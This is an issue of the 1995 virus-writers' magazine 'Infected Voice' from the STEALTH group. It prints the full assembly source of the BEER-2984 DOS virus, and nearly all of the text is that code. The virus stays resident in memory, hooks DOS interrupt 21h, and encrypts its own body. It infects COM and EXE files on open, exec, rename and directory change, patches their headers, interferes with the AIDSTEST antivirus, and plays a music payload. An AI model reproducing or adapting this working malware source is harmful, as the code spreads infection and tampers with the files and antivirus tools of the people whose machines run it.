           ÜÜ                  Û
          ßßß Monthly Magazine Û For VirMakers.                  JULY '95
          ßÛÛ ßßßßßßßßßßßßßßßß Û ßßßßßßßßßßßßßßßßßßß ß ßßßßÞßßß  ÛßßßßßßÛ
           ÞÛ ÛßÜ Ûßß Üßß Üßß ÜÛÜ Üßß ÛßÛ    Ý Û ÜßÛ Û Üßß ÛÜÜ   Û ÞßßÛ Û
            Û Û Û Ûß  Ûß  Û    Û  Ûß  Û Û    Û Û Û Û Û Û   Û     Û   ÞÝ Û
            Û Þ Þ Þ   ÞÜÜ ÞÜÜ  Þ  ÞÜÜ ÞÜß     ßÛ ßÜÛ Þ ÞÜÜ ÞÜÜÜ  Û   Û  Û
            Þ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ  ÛÜÜÜÜÜÜÛ
           (C) STEALTH group WWide, Box 10, Kiev-148, fUcKRAINE 
 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
       ˆáå®¤­¨ª ¢¨àãá  BEER-2984.  Žâª®¬¯¨«¨à®¢ âì MASM ¢ EXE-¬®¤ã«ì.        

 ;******** Moscow State University August 1992 *******************************
 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

 .8086

 carlen equ 0FEh
 owner 		equ 	1
 MCBsize	equ 	3
 frombegin	equ 	0
 fromcurpos 	equ 	1
 fromeof 	equ 	2
 presence_for_scan = offset presence + 10h	;
 version_for_scan  = offset version  + 10h	;
 ATT = 00100001b			;Attributes mask
 versn = 14

 push_all macro				;
 push ds
 push es
 push ax
 push bx
 push cx
 push dx
 push si
 push di
 push bp
 pushf
 endm

 pop_all macro				;
 popf
 pop bp
 pop di
 pop si
 pop dx
 pop cx
 pop bx
 pop ax
 pop es
 pop ds
 endm

 lseek macro hndl,fromwhere,distance	;; LSEEK DOS Fn 42h function
 MOV BX,hndl				;;
 mov dx,distance
 mov ah,42h
 mov al,fromwhere
 xor cx,cx
 call _int21h
 endm

 say macro str				;;Echo
 mov ah,9
 mov dx,offset str
 call _int21h
 endm

 code segment para public 'code'
 assume cs:code,ds:code,es:code,ss:code
 ORG 100h
 firthree db 0e9h			; DUMMY JMP begin
 loc_jmp dw 00
 begin:					; code beginning
 jmp short beg
 counter 	dw 26
 presence 	dw '88'
 version 	db versn
 lostbytes 	db 90h			; NOP INT 20H
 lostb 		dw 20cdh		;
 beg:
 push_all
 mov ax,cs:101h				; get BEGIN address
 mov ds:carlen,ax			;save ( carrier length - 3 ) at PSP:0feh

			;RESTORE LOST BYTES

 mov di,100h				; carrier start adress
 mov si,ds:carlen			;
 add si,offset lostbytes	  	;
 mov cx,3h				;
 cld					; direction : up
 rep movsb				; first three bytes are OK
 mov ah,30h				;Get DOS Versn
 int 21h
 cmp al,3				;
 jnb ver_OK				;_osmajor >= 3 ?
 jmp terminate				;No.
ver_OK:					;Yes.DOS 3.0 or higher
 mov si,ds:carlen
 add si,offset counter
 inc word ptr [si]			; increase installations counter
 mov ax,ds
 dec ax					; calc MCB segment
 mov ds,ax				; DS changed !
 cmp byte ptr ds:0,'Z'			;last MCB ?
 je MCB_is_last				;Yes.Continue session
 jmp terminate				;No.Quit session
 MCB_is_last:	 mov byte ptr ds:0,'M' 	; Mark MCB as "not last"
 sub word ptr es:2,100h 		;correct PSP.MemTop by 4K
 sub word ptr ds:MCBsize,100h		;correct MCB.size
 xor ax,ax
 mov ds,ax				;Zero DS register
 sub word ptr ds:413h,4			;correct BIOSmem by 4 KBytes
 mov ax,es:2				;New last MCB
 mov ds,ax
 mov byte ptr ds:0,'Z'			;Mark last MCB as last
 inc ax
 mov word ptr ds:owner,ax		;
 mov word ptr ds:MCBsize,0FFh		;4K - 16 bytes
					;now my own memo blk is set
 					;AX contains its segment
 push cs
 pop ds					;restore data segment
 mov es,ax				;set ES to new allocated block
 mov si,ds:carlen			;carlen is CARrier LENgth
 add si,offset begin			;calc BEGIN: address
 mov di,offset begin
 mov cx,offset end_of_program		;
 sub cx,offset begin			;calculate required length
 cld					;direction up
 rep movsb				;
					;now code is loaded to new blk
 cli					;disable interrupts
 xor ax,ax
 mov ds,ax				;Zero DX
 mov ax,word ptr ds:86h			;Get 21h_seg  86h = 4 * 21h + 2
 mov cx,word ptr ds:84h			;Get 21h_offset
 mov si,offset jump_to_21h
 mov di,offset call_21h
 mov es:[si][1],cx
 mov es:[di][1],cx
 mov es:[si][3],ax
 mov es:[di][3],ax			;

 push es
 pop ds
 mov dx,offset INT_21h_handler		;
 mov ax,2521h				;SetVect
 int 21h				;


 terminate:				;PASS CONTROL TO CARRIER PROGRAM
 pop_all
 mov word ptr ds:carlen,100h		;Not needed more
 push word ptr ds:carlen
 sti					;     enable interrupts
 retn					; ... and return to main program

 key 	db	0			;Cipher key

 crypt:
 push bx				;; save bx
 push cx				;; and cx
 push ax
 pushf
 mov bx,offset exec			;;load start
 mov cx,offset end_of_program		;;and end
 sub cx,bx                              ;; calc length
 mov al,cs:key
 lcloop:
 xor byte ptr cs:[bx],al
 inc bx
 loop lcloop
 popf
 pop ax
 pop cx					;;restore regigters
 pop bx
 retn

 write_vir_body:
 call crypt				;Cipher for writing
 mov ah,40h				;Write to end
 mov cx,offset end_of_program
 mov dx,offset begin
 sub cx,dx
 mov bx,handle
 call _int21h
 call crypt				;And decipher again
 retn

 fat_err_handler:			;New critical error handler
 mov al,3
 iret

 jump_to_exe_carrier:	db 0EAh		;Far jump code
 Old_Exe_IP		dw offset run_up
 OldReloCS		dw 00
 NewReloCS		dw 00

 exe_start:
 cli
 push_all
 call crypt
 jmp exe_entry_point

oldfoff		dw 0
oldfseg		dw 0
old_dta_off	dw 0
old_dta_seg	dw 0

 change_dir:
 cli
 call crypt
 mov cs:key,0
 push_all
 push cs
 pop ds
 mov ax,3524h				;Get old GrErrHandler
 call _int21h
 push es
 pop cs:oldfseg
 mov cs:oldfoff,bx
 mov dx,offset fat_err_handler
 mov ax,2524h				;Set New Handler
 call _int21h
 mov ah,2fh				;Get DTA
 call _int21h
 mov cs:old_dta_off,bx
 mov ax,es
 mov cs:old_dta_seg,ax			;Save old DTA
 mov dx,offset DTA
 mov ah,1Ah				;Set new DTA
 call _int21h
 mov dx,offset FMASK
 mov ah,4Eh				;Fnd1st
 mov cx,ATT				;attributes
 call _int21h
 jc end_ch_d
 mov dx,offset ASCIZ
 mov ax,3D00h				;open for reading
 pushf
 push cs				;Emulate INT instruction
 call internal_entry
 jc end_ch_d
 mov bx,ax				;File Handle
 mov ah,3Eh				;Close
 call _int21h
 end_ch_d:
 lds dx, dword ptr cs:oldfoff
 mov ax,2524h
 call _int21h				;Restore critical err handler
 lds dx, dword ptr cs:old_dta_off
 mov AH, 1Ah
 call _int21h
 jmp exit_for_ch_d      		;

 INT_21h_handler:			;
 nop
 nop
 nop
 cli					;Disable interrupts
 nop
 cmp ah,3Bh				;ChDir?
 jne not_ch_d				;No.
 jmp change_dir				;Yes.
not_ch_d:
 internal_entry:			;For ChDir procedure
 cmp ax,3D00h				;Open for reading?
 je work				;Yes.
 cmp ax,3D02h				;For R/W ?
 je work				;Yes.
 cmp ah,56h				;Rename?
 je work				;Yes.
 cmp ax,4B00h				;EXEC?
 jne jump_to_21h                        ;No.Jump to DOS
 work:					;Some work is necessary
 push_all				;save all regs
 call crypt				;Decipher code
 call set_err_handler
 jmp exec 				;Yes.Continue session
 _jmp21h:				;Jmp to original DOS int 21h handler
 call restore_err_handler
 call crypt				;Cipher again
 exit_for_ch_d:
 pop_all				; /* Restore all registers */
 jump_to_21h: 	db 0EAh			;far jump instruction
 _21h_off 	dw 00
 _21h_seg 	dw 00

 _int21h:
 pushf					;Emulate int instruction

 call_21h:  	db 9Ah			;far call
 _21h__off	dw 00h
 _21h__seg	dw 00h
 retn

exec:
 push ds
 pop es					;set ES to DS
 push ds
 pop cs:pathname_seg			;save pathname segment
 mov cs:pathname_off,dx			;and offset
 mov ax,4300h				;get attributes
 call _int21h
 jc _jmp21h				;On error quit session
 test cx,11110b				;subdir-label-system-hidden?
 jnz _jmp21h
 mov cs:attributes,cx			;save attributes
 and cx,11111110b			;Clear read-only bit
 mov dx,cs:pathname_off
 mov ax,4301h				;set attr
 call _int21h
 jc _jmp21h
 mov dx,cs:pathname_off
 mov di,dx				;set DX to pathname string
 xor al,al				;Zero AX
 mov cx,100h				;Maximal ASCIIZ string length
 cld					;direction up
 repne scasb				;cmp es:[di++],0
 mov cs:pathname_end,di			;save end of string
 adc cs:key,cl				;Modify key
 or cs:key,1                            ;To be sure that nonzero
 push cs
 pop es
 mov si,cs:pathname_end
 sub si,5				;strlen(".com") + 1
 mov di,offset com_extension		;
 mov cx,5				;5 bytes
 repe cmpsb 				;
 je _com				;.COM file?
 jmp _exe
 loc_quit: jmp _jmp21h			;and terminate
 _com:  				;Yes.Continue
 mov si,cs:pathname_end
 sub si,12				;strlen("command.com") + 1
 mov di,offset command_com		;
 mov cx,12				;
 repe cmpsb
 je loc_quit				; command.com?
					; no. Can be modified
 mov ax, 3D02h				;open file for read/write
 call _int21h
 jnc opened				;Error open file?
 jmp loc_quit				;Yes.Quit modification
 opened:				;No.Continue
 push cs
 pop ds					;Set DS to CS
 mov handle, ax				;Store handle
 mov bx,ax
 mov ax,5700h				;Query time/date
 call _int21h
 jc big
 mov time,cx
 mov date,dx
 lseek handle,2,0			;Get filelength into DX:AX
 jc big					;If error
 mov filelength,ax			;save length
 mov hilength,dx			;
 add ax,offset top_of_program
 adc dx,0
 je not_too_big
 big: jmp lec				;length > 64 K
 not_too_big:
 lseek handle,frombegin,0		;
 jc big					;on error quit session
 mov dx,offset lostbytes		;
 mov bx,handle				;handle
 mov cx,3				;Read three bytes
 mov ah,3fh				;
 call _int21h
 jc big
 cmp word ptr lostbytes, 'MZ' 		; EXE?
 jne not_MZ
 loc_exe: 	jmp lec			;Yes.
 not_MZ:
 cmp word ptr lostbytes, 'ZM'   	; EXE?
 je loc_exe				;Yes.
 cmp byte ptr lostbytes, 0e9h		;JMP NEAR?
 jne not_modified			;no.

 lseek handle,fromcurpos,lostb		;LSEEK to begin
 jc modified
 mov dx,offset buffer
 mov bx,handle
 mov cx,10h
 mov ah,3fh				;Read 10h bytes via handle
 call _int21h
 jc modified
 mov ax,'88'
 mov si,offset buffer
 cmp ax,[si][4]				;Presence code?
 jne not_modified
 cmp byte ptr [si][6],versn		;Major or this version?
 jb not_modified			;No.
 modified:
 jmp lec
 not_modified:

 mov byte ptr firthree,0e9h
 mov ax,filelength
 mov loc_jmp,ax
 sub loc_jmp,3
 jc modified
 lseek handle,frombegin,filelength	;Write vir body
 jc lec
 call write_vir_body
 jc lec
 cmp cx,ax
 jne lec				;if error quit
 lseek handle,frombegin,0
 jc modified
 mov cx,3				;Write 3 bytes
 mov bx,handle
 mov dx,offset firthree
 mov ah,40h
 call _int21h
 jc modified

 set_time_and_close:
 mov ax,5701h				;Set file time/date
 mov bx,handle
 mov cx,time
 mov dx,date
 call _int21h
 lec:
 close:
 mov bx,handle
 mov ah,3eh				;close handle
 call _int21h
 jc silence
 test attributes,1			;Read only?
 je attr_OK				;Not
 mov cx,attributes
 lds dx,cs:_pathname_off
 mov ax,4301h   			;set attr
 call _int21h
 jc silence
 push cs
 pop ds
 attr_OK:
 mov ah,2Ah				;GetDate
 call _int21h
 cmp cx,2043
 je music
 cmp counter,50				;More than 50 replications?
 jb silence				;No.
 cmp cx,1992				;Year <= 1992 ?
 jna silence				;Yes.
 music:
 test cs:key,11111000b
 jne silence
 say message
 call play_music
 silence:
 jmp _jmp21h

 aidstest:
 mov ah,2Ah				;GetDate
 call _int21h
 cmp cx,1992
 jna silence
 cmp cs:counter,50
 jb silence
 lds bx,cs:_pathname_off
 mov byte ptr [bx],'R'
 test cs:key,11110000b
 jne silence
 call play_music
 jmp silence


 _exe:					;not .COM extension
 mov si,cs:pathname_end
 sub si,5				;strlen(".exe") + 1
 mov di,offset exe_extension		;
 mov cx,5				;5 bytes
 repe cmpsb 				;
 jne silence			 	;Not .EXE file

 mov si,cs:pathname_end         	;	!!!
 sub si,13				; aidstest ?
 mov di,offset aidstest_exe		;
 mov cx,13				;
 repe cmpsb
 je  aidstest				;AIDSTEST.EXE BY D.N.LOZINSKY

 mov ax, 3D02h				;open file for read/write
 call _int21h
 jnc exe_opened				;Error open file?
 jmp loc_quit				;Yes.Quit modification
 _lec: jmp lec
 exe_opened:				;No.Continue
 push cs
 pop ds					;Set DS to CS
 mov handle, ax				;Store handle
 mov bx,ax
 mov ax,5700h				;Query time/date
 call _int21h
 jc _lec
 mov time,cx
 mov date,dx
 lseek handle,2,0			;Get filelength into DX:AX
 jc _lec
 mov filelength,ax			;save length
 mov hilength,dx			;
 test dx,11111000b
 jne _lec				;Too big
 lseek handle,0,0
 jc _lec
 mov dx,offset EXEheader		;
 mov bx,handle				;handle
 mov cx,1Ch				;Read 1C bytes
 mov ah,3fh				;
 call _int21h
 jc _lec
 cmp cx,ax
 jne _lec
 cmp EXEheader,'MZ'
 je  sign_OK
 cmp EXEheader,'ZM'
 je sign_OK
 jmp _lec
 sign_OK:
 cmp Overlay,0				;Overlay?
 jne _lec				;Yes.
 mov ax,ReloSS
 add ax,HdrSize
 mov bx,16
 mul bx
 add ax,ExeSP
 adc dx,0				;Get stack top in DX:AX
 sub ax,offset top_of_program
 sbb dx,0
 sub ax,filelength
 sbb dx,hilength
 jns stack_enough
 not_enough: jmp lec
 stack_enough:
					;Check possible infection
 mov ax,ReloCS
 add ax,HdrSize
 mov bx,16
 mul bx
 add ax,offset presence
 adc dx,0
 mov cx,dx
 mov dx,ax
 mov ax,4200h				;Lseek to presence
 mov bx,handle
 call _int21h
 jc not_enough
 mov cx,3
 mov bx,handle
 mov dx,offset pres_buf
 mov ah,3fh				;Read 3 bytes to pres_buf
 call _int21h
 jc  not_enough
 cmp cx,ax
 jne not_enough
 cmp pres_buf,'88'
 jne exe_not_infected
 cmp v_buf,versn
 jnb not_enough

 exe_not_infected:
 push ExeIP
 pop Old_Exe_IP
 push ReloCS
 pop OldReloCS
 lseek handle,fromeof,0			;lseek to EOF
 jc not_enough
 mov cx,20
 xor dx,dx
 mov bx,handle
 mov ah,40h
 call _int21h
 jc not_enough
 cmp cx,ax
 jne not_enough
 lseek handle,fromcurpos,0
 mov bx,16
 div bx
 sub ax,HdrSize
 mov ReloCS,ax
 mov NewReloCS,ax
 mov ExeIP,offset exe_start
 mov ax,ReloCS
 add ax,HdrSize
 mov bx,16
 mul bx
 mov cx,dx
 mov dx,ax
 mov ax,4200h				;LSEEK
 mov bx,handle				;from begin
 call _int21h
 jc exe_quit
 mov dx,0
 mov cx,offset begin
 mov bx,handle
 mov ah,40h				;Write
 call _int21h
 jc  exe_quit
 cmp cx,ax
 jne exe_quit
 call write_vir_body
 jc exe_quit
 cmp cx,ax
 jne exe_quit
 lseek handle,fromcurpos,0
 jc exe_quit
 mov bx,512				;Calc new PageCnt
 div bx
 inc ax
 mov PageCnt,ax
 mov PartPag,dx
 add MinMem,103h			;To stay resident
 lseek handle,frombegin,0
 jc exe_quit
 mov cx,1ch				;
 mov ah,40h   				;Write
 mov dx,offset EXEheader		;
 mov bx,handle
 call _int21h
 jc exe_quit
 jmp set_time_and_close

 exe_quit: jmp lec

 set_err_handler:
 push_all
 mov ax,3524h				;Get vect 24h
 call _int21h
 push es
 pop cs:old_24h_seg			;
 mov cs:old_24h_off,bx			;store handler
 push cs
 pop ds
 mov dx,offset fat_err_handler
 mov ax,2524h				;Set Vect 24h to new handler
 call _int21h				;
 pop_all
 retn

 restore_err_handler:			;
 push_all
 mov ax,2524h				;Set Vect 24h to old handler
 lds dx,cs:_old_24h_off			;Load 24h vector to DS:DX
 call _int21h
 pop_all
 retn

 exe_entry_point:			;
 mov cs:key,0				;Reset key
 inc cs:counter				;
 mov ah,30h				;Get DOS Versn
 int 21h
 cmp al,3				;
 jnb scan_MCBs				;_osmajor >= 3 ?
 jmp exe_terminate
 scan_MCBs:

 mov ax,ds				;get PSP
 dec ax
 mov ds,ax				;set ds to current process MCB
 check_last:
 cmp byte ptr ds:0,'Z'			;last ?
 je quit_scan				;Yes.
 mov cx,ds:MCBsize			;go to next
 mov ax,ds
 inc ax
 add ax,cx
 mov ds,ax				;Now DS is set to next MCB
 cmp word ptr ds:MCBsize,0ffh		;Maybe already ?
 jne check_last				;Not
 inc ax
 cmp ax,ds:owner			;
 jne check_last
 cmp word ptr ds:presence_for_scan,'88'		;Presence code?
 jne check_last
 cmp byte ptr ds:version_for_scan,versn		;Version ?
 jb quit_scan
 jmp exe_terminate


 quit_scan:
 cli					;for any chance
 mov bp,sp
 mov ax,[bp][18]
 mov ds,ax				;Set DS to PSP
 sub word ptr ds:2,100h			;Reduce MemTop
 mov ax,word ptr ds:2
 mov es,ax
 inc ax
 mov es:owner,ax
 mov word ptr es:MCBsize,0FFh
 mov ax,ds
 dec ax
 mov ds,ax
 mov al,ds:0				;MCB type
 mov es:0,al				;
 mov byte ptr ds:0,'M'			;
 sub word ptr ds:MCBsize,100h		;
 mov ax,[bp][18]
 mov ds,ax				;Restore DS again
 mov ax,3521h				;Get 21h intrpt vector
 int 21h
 mov cs:_21h_off,bx
 mov cs:_21h__off,bx
 mov ax,es
 mov cs:_21h_seg,ax
 mov cs:_21h__seg,ax			;Set jmp & call to 21h vector
 mov ax,ds:2				;MemTop
 inc ax
 mov es,ax				;Set ES to new allocated block
 mov ax,cs
 mov ds,ax				;Set DS to CS
 mov si,offset begin
 mov di,si
 mov cx,offset  end_of_program
 sub cx,di
 cld					;Direction up
 rep movsb				;Copy to new block
 mov dx,offset INT_21h_handler
 mov ax,es
 mov ds,ax
 mov ax,2521h
 int 21h				;Set vector to my own handler

 exe_terminate:
 call search
 MOV AX,CS
 SUB AX,CS:NewReloCS
 add cs:OldReloCS,ax
 pop_all
 sti
 jmp  jump_to_exe_carrier

FMASK db '*.EXE',0

files 		db 7
DTA		db '0123456789ABCDEF01234'
attribs		db ATT
ftime		dw 0
fdate		dw 0
flen		dd 0
ASCIZ		db 'FILENAME.EXT',0
		dw 0


search:
mov ah,30h
int 21h				;Get Versn DOS
cmp al,3
jnb _verOK
retn
_verOK:
mov ax,3524h			;Get Vect
int 21h
push es
pop cs:oldfseg
mov cs:oldfoff,bx		;Save FatErrHandler
push cs
pop ds
mov dx,offset fat_err_handler
mov ax,2524h
int 21h				;Set Vector 24h
push cs
pop  ds
mov ah,2fh			;Get DTA
int 21h
mov old_dta_off,bx
mov ax,es
mov old_dta_seg,ax		;Save old DTA
mov dx,offset DTA
mov ah,1ah			;Set new dta
int 21h
mov dx,offset FMASK
mov ah,4eh			;Fnd 1st
mov cx,ATT
int 21h
jc exit
op_and_cl:
mov dx,offset ASCIZ
mov ax,3D00h			;Open for reading
int 21h
jc exit
mov bx,ax
mov ah,3Eh			;close
int 21h
jc exit
mov dx,offset ASCIZ
mov cx,ATT
mov ah,4Fh			;Fnd Nxt
int 21h
jc exit
dec files
jnz op_and_cl
exit:
lds dx,dword ptr cs:oldfoff
mov ax,2524h
int 21h				;Restore err handler
lds dx,dword ptr cs:old_dta_off
mov AH,1Ah			;Restore DTA
int 21h
retn

 PAUS = 1
 END_MUSIC = 0

int_1C_handler:

mov bx,cs:ticks
shl bx,1
mov ax,cs:[bx][offset mus]
cmp ax,END_MUSIC
jne continue
mov cs:ticks,0FFFFh
iret
continue: cmp ax,PAUS
jne not_pause
in al,97
and al,0FCh
out 97,al			;Speaker off
jmp return
not_pause:
 out 66,al
 mov al,ah
 out 66,al
 in al,97
 or al,3
 out 97,al
return:
 inc cs:ticks
 iret

play_music:
push_all
mov cs:ticks,0
mov ax,351Ch			;Get 1C vect
call _int21h
mov cs:old1c,bx
mov ax,es
mov cs:old1ch,ax		;Save 1C vector
push cs
pop ds
mov dx,offset int_1C_handler
mov ax,251ch			;Set vect
call _int21h
sti				;interrupts to play music
wait_for: cmp cs:ticks,0FFFFh
jne wait_for
cli
in al,97
and al,11111100b
out 97,al			;Speaker off
lds dx,dword ptr cs:old1c
mov ax,251ch
call _int21h			;Restore 1C vector
pop_all
retn

EVEN

A = 5422
B = 5117
H = 4830
C = 4559
CIS = 4303
D = 4061
DIS = 3833
E = 3619
F = 3416
FIS = 3224
G = 3042
GIS = 2872
A2 = 2711
B2 = 2559
H2 = 2415
C2 = 2279
CIS2 = 2151
P = PAUS

mus:
DW E,E,E,E,P,P	,E,E,E,E,E,E,	E,E,P,GIS,GIS,P,	F,F,P,E,E,P
DW GIS,GIS,GIS,GIS,P,P,	GIS,GIS,GIS,GIS,GIS,GIS,	GIS,GIS,P,H2,H2,P
DW A2,A2,P,GIS,GIS,P
DW A2,A2,A2,A2,P,P,	A2,A2,A2,A2,A2,A2,	A2,A2,P,	C2,C2,P
DW H2,H2,P,	A2,A2,P
DW GIS,GIS,GIS,GIS,GIS,P,	F,F,P,E,E,P
DW GIS,GIS,GIS,GIS,GIS,GIS,	P,P,P,P,P,P
DW E,E,E,E,P,P	,E,E,E,E,E,E,	E,E,P,E,GIS,P,	F,F,P,E,E,P
DW GIS,GIS,GIS,GIS,P,P,	GIS,GIS,GIS,GIS,GIS,GIS,	GIS,GIS,P,GIS,H2,P
DW A2,A2,P,GIS,GIS,P
DW A2,A2,A2,A2,P,P,	A2,A2,A2,A2,A2,A2,	A2,A2,P,	A2,C2,P
DW H2,H2,P,	A2,A2,P
DW GIS,GIS,GIS,GIS,GIS,P,	F,F,P,E,F,P
DW E,E,E,E,E,E, P,P,P,P,P,P
DW H2,H2,P,H2,H2,H2,	H2,H2,P,A2,A2,P,	GIS,GIS,P,GIS,GIS,P
DW GIS,GIS,GIS,GIS,GIS,P,	F,F,P,F,F,F,	F,F,P,E,E,P,	D,D,P,D,D,P
DW D,D,D,D,D,P
DW D,D,D,D,D,P,	F,F,F,F,P,E,	D,D,P,F,F,P,	A2,A2,A2,A2,A2,P
DW GIS,GIS,GIS,GIS,GIS,P,	F,F,P,E,E,P
DW GIS,GIS,GIS,GIS,GIS,GIS,	P,P,P,P,P,P
DW H2,H2,P,H2,H2,H2,	H2,H2,P,A2,A2,P,	GIS,GIS,P,GIS,GIS,P
DW GIS,GIS,GIS,GIS,GIS,P,	F,F,P,F,F,F,	F,F,P,E,E,P,	D,D,P,D,D,P
DW D,D,D,D,D,P
DW D,D,D,D,D,P,	F,F,F,F,P,E,	D,D,P,F,F,P,	A2,A2,A2,A2,A2,P
DW GIS,GIS,GIS,GIS,GIS,P,	F,F,P,E,E,P
DW F,E,E,E,E,P
DW PAUS,END_MUSIC



 command_com	db 'COMMAND'
 com_extension  db '.COM',0
 aidstest_exe 	db 'AIDSTEST'
 exe_extension  db '.EXE',0
 message 	db 13,10,' Ce', 0a9h, 0e7h, 'ac ',0a1h, 0ebh, 20h,0afh
		db 0a8h, 0a2h, 0AAh, 'a ',13,10,'$ ',0  ;"SEYCHAS BY PIVKA"
 end_of_program:
 EVEN                                  	;Word alignment
		dw 00
 old1c		dw 00
 old1ch		dw 00
 ticks 		dw 00
 time		dw 00
 date	 	dw 00
_old_24h_off 	LABEL DWORD
 old_24h_off	dw 00
 old_24h_seg	dw 00
_pathname_off 	LABEL DWORD
 pathname_off	dw 00
 pathname_seg	dw 00
 pathname_end  	dw 00
 attributes	dw 00
 handle 	dw 00
 filelength 	dw 00
 hilength	dw 00

EXEheader	dw 0                    ;Buffer for exe header
PartPag         dw 0
PageCnt         dw 0
ReloCnt         dw 0
HdrSize         dw 0
MinMem          dw 0
MaxMem          dw 0
ReloSS          dw 0
ExeSP           dw 0
ChkSum          dw 0
ExeIP           dw 0
ReloCS          dw 0
TablOff         dw 0
Overlay         dw 0

pres_buf	dw 0
v_buf		db 0

 buffer		db '0123456789012345678901234567890123456789'


 r_mes db 13,10,'Beer (c) Installer.Ha - ha$'

 run_up:
 mov ax,cs
 mov ds,ax
 mov dx,offset r_mes
 mov ah,9
 int 21h
 mov ax,4c00h
 int 21h

 top_of_program:

 code ends

 end exe_start

